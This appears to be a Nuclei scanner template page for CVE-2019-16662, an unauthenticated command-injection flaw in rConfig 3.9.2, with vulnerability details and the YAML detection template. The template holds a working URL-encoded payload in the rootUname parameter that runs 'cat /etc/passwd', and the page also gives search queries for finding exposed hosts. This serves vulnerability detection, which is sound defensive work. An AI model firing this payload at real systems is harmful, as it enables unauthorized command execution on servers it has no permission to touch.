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rConfig 3.9.2 - Remote Code Execution

ID: CVE-2019-16662

Severity: critical

Author: pikpikcu

Tags: cve2019,cve,intrusive,rconfig,packetstorm,rce

Description

Section titled “Description”

rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.

YAML Source

Section titled “YAML Source”
id: CVE-2019-16662


info:
  name: rConfig 3.9.2 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected system.
  remediation: |
    Upgrade to a patched version of rConfig (3.9.3 or later) or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16662
    - https://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnu
    - http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16662
    cwe-id: CWE-78
    epss-score: 0.97525
    epss-percentile: 0.9999
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2019,cve,intrusive,rconfig,packetstorm,rce


http:
  - method: GET
    path:
      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a0046304402206bfce7fdfda2631bd5f03dd6f8cbf27963b9e9f425a4be13ac331c1c3fee5af70220384be7ded971e61c338ed8ee57f659f221bf21ac7e33865f2f9e0c1b22639774:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16662.yaml"

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